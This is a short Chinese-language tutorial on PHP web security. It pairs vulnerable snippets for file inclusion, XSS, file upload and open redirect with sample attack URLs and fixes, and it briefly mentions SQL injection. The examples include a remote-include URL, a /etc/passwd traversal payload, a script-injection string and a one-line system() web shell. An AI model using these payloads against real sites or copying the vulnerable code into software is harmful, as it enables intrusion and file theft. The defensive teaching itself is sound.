1、动态加载问题
1
2
3
4
|
$action = 'login' ; if (__isset( $_GET [ 'act' ] ) )
$action = $_GET [ 'act' ]; require ( $action . '.php' ); |
这个代码相当危险,攻击者有可能可以干这些事:
/test.php?act=http://evil/exploit – 注入远程机器上有漏洞的文件。
/test.php?act=/home/www/bbs/upload/exploit – 从一个已经上载、叫做exploit.php文件运行其代码。
/test.php?act=../../../../etc/passwd%00 – 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)
这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。
2、防止SQL注入
对用户提交数据进行过滤或者使用PHP5的Mysqli预处理处理数据提交。要记住,用户永远是不可信的,特别是在有数据插入数据库的时候。
3、防止XSS
1
2
|
$username = $_GET [ 'username' ]; echo '<div> Welcome, ' . $username . '</div>' ; |
那么我们可以这样来访问此页面进行注入:
http://www.example.com/user.php?username=<script>alert("You've been attacked!");</script>
严格过滤用户的输入。如:
PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
4、文件上传
假如我上传了一个PHP文件如下:
文件名malicious.php
1
|
system( $_GET [ 'cmd' ]); |
那么,我就可以通过如下的URL访问攻击你的网站了:
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
抵御这样的攻击有两种手段:1)限制上传文件的文件扩展名。2)千万不要使用root或Administrator来运行你的Web应用。
5、URL跳转
URL跳转很有可能会成为攻击利用的工具。比如下面的PHP代码:
1
2
|
$redirect_url = $_GET [ 'url' ]; header( "Location: " . $redirect_url ); |
这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。
http://bank.example.com/redirect?url=http://attacker.example.net
这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。
注:以上整理自互联网。